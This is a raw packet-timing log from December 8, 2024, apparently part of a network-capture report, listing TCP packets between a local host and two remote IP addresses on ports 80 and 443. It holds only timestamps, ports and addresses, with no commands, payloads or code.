Dec 8, 2024 15:38:54.204858065 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.206173897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.206228971 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.206329107 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.206377983 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.207623959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.207683086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.207720041 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.207762003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.209155083 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.209208965 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.209393978 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.209455967 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.210649967 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.210704088 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.210736990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.210803032 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.212075949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.212126970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.212162971 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.212212086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.213650942 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.213701963 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.213826895 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.213871002 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.215040922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.215090036 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.215138912 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.215187073 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.216521978 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.216578960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.216634989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.216684103 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.217974901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.218029976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.249850988 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.250582933 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.250597000 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.251072884 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.251076937 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.253125906 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.253431082 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.253456116 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.253751040 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.253757000 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.254614115 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.255063057 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.255073071 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.255399942 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.255404949 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.266268969 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.266525030 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.266535997 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.266854048 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.266860008 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.285711050 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.285974026 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.285984039 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.286282063 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.286287069 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.334556103 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.334583998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.334611893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.334630013 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.335246086 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.335292101 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.335473061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.335522890 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.336723089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.336769104 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.336883068 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.336930037 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.337918043 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.337965965 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.338042021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.338089943 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.339202881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.339257002 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.339327097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.339364052 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.340517998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.340558052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.340568066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.340594053 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.341454029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.341501951 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.341603994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.341656923 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.342680931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.342725992 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.342837095 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.342880964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.343806982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.343915939 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.343939066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.343952894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.345060110 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.345103025 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.345134020 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.345182896 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.346307993 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.346357107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.346430063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.346478939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.347553015 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.347603083 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.347683907 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.347743988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.348820925 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.348867893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.348916054 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.348959923 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.350135088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.350183964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.350214005 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.350260019 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.351284027 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.351337910 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.351386070 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.351444006 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.352519989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.352566957 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.352657080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.352701902 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.353790998 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.353846073 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.353883028 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.353923082 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.355051994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.355101109 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.355118990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.355163097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.356265068 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.356316090 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.356398106 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.356442928 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.357508898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.357553005 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.357590914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.357628107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.358814955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.358866930 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.358899117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.358942986 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.359999895 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.360054016 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.360120058 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.360177994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.361247063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.361294031 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.361375093 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.361423016 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.362487078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.362535000 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.362656116 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.362699986 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.363723993 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.363773108 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.363838911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.363878965 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.365047932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.365097046 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.365134001 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.365176916 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.366219997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.366265059 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.366306067 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.366353989 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.367501020 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.367554903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.367618084 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.367666006 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.368912935 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.368957996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.369040966 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.369091034 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.369962931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.370011091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.370086908 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.370138884 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.371211052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.371257067 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.371309042 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.371356964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.372462988 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.372509956 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.372555017 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.372595072 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.373703003 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.373760939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.373832941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.373882055 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.374974966 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.375025034 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.375112057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.375158072 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.376192093 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.376240969 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.376322985 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.376367092 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.377496004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.377537966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.377573967 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.377612114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.378810883 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.378861904 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.378947973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.378994942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.380111933 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.380155087 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.380250931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.380297899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.381191969 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.381234884 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.381326914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.381371975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.382427931 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.382474899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.382623911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.382688999 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.383800983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.383850098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.383862019 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.383900881 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.385061979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.385081053 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.385108948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.385128975 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.386233091 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.386282921 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.386315107 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.386356115 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.387450933 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.387497902 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.387584925 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.387626886 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.388665915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.388712883 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.388772011 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.388820887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.390023947 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.390072107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.390114069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.390214920 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.391170979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.391216040 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.391271114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.391305923 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.392597914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.392644882 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.392730951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.392776966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.393785000 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.393832922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.393889904 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.393958092 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.394943953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.394989967 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.395031929 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.395080090 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.396143913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.396188021 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.396245003 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.396294117 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.397401094 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.397453070 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.397495985 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.397535086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.398652077 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.398691893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.398732901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.398785114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.399810076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.399856091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.526470900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.526529074 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.526601076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.526642084 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.527033091 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.527110100 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.527138948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.527152061 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.528242111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.528294086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.528477907 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.528525114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.529436111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.529494047 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.529525995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.529561996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.530617952 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.530662060 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.530725956 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.530766964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.531785965 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.531836033 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.531905890 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.531948090 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.532985926 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.533030987 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.533031940 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.533072948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.534166098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.534228086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.534265041 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.534322023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.535379887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.535427094 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.535500050 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.535556078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.536604881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.536653996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.536798000 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.536849976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.538125038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.538172960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.538229942 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.538281918 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.539263010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.539310932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.539494038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.539541960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.540163040 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.540205002 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.540242910 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.540288925 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.541280031 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.541325092 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.541418076 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.541465044 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.542470932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.542519093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.542577028 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.542623043 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.543682098 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.543730021 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.543790102 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.543838024 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.544913054 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.544961929 CET	49825	80	192.168.2.6	185.215.113.16
